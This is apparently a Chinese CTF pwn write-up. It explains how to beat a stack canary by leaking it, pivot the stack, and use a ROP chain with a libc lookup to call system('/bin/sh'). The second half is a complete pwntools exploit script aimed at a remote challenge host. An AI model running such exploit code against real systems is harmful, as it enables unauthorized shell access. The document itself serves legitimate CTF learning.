checksec一下,开了栈溢出保护和栈执行保护
IDA打开看看,main函数是一个for循环,InitData函数执行初始化setvbuf操作后返回0
跟进这个函数,结合main函数发现,这个函数只会被调用2次,然后main函数将会结束,第一次进这个函数的时候,v3=89,第二次进这个函数的时候,v3=112
缓冲区s的大小是88字节,而后面紧跟着canary,因此第一次写满89字节以后可以泄露出canary
(canary首位必定为0,所以通过第89个字节覆盖首位可以使得puts函数顺带一并输出后面的canary的值。第一次进这个函数时,输出以后会将最后一个字节置0,而canary首位刚好是0,因此不会被栈溢出保护检查到)
泄露以后可以通过第二次112字节的输入来进行栈溢出,由于只能刚好覆盖rbp和ret address,所以采用栈转移技术,执行我们前面输入的rop链
第一次rop泄露puts的地址,找到对应的libc,计算出system函数和binsh字符串的位置,然后返回main函数,进行第二轮rop,拿到shell
#!/usr/bin/python2
#coding:utf-8
from pwn import *
from LibcSearcher import *
from struct import pack
context.os='linux'
context.arch='amd64'
context.log_level='debug'
sd=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
ra=lambda :io.recv()
rn=lambda x:io.recv(x)
sla=lambda x,y:io.sendlineafter(x,y)
io=remote('121.36.59.116',9999)
#io=process('./pwn')
elf=ELF('./pwn')
main=p64(0x40087b)
leave_ret=p64(0x400879)
pop_rdi_ret=p64(0x400923)
ra()
sd('a'*89)
rn(89)
canary='\0'+io.recv(7)
stack=u64(rn(6)+'\0'*2)
stack=stack-8*14
ra()
sd((p64(0)+pop_rdi_ret+p64(elf.got['puts'])+p64(elf.plt['puts'])+main).ljust(88,'a')+canary+p64(stack)+leave_ret)
rn(1)
puts_addr=u64(rn(6)+'\0'*2)
libc=LibcSearcher('puts',puts_addr)
ra()
sd('a'*89)
rn(89)
canary='\0'+rn(7)
stack=u64(rn(6)+'\0'*2)
stack=stack-8*14
ra()
sd((p64(0)+pop_rdi_ret+p64(puts_addr-libc.dump('puts')+libc.dump('str_bin_sh'))+p64(puts_addr-libc.dump('puts')+libc.dump('system'))+main).ljust(88,'a')+canary+p64(stack)+leave_ret)
io.interactive()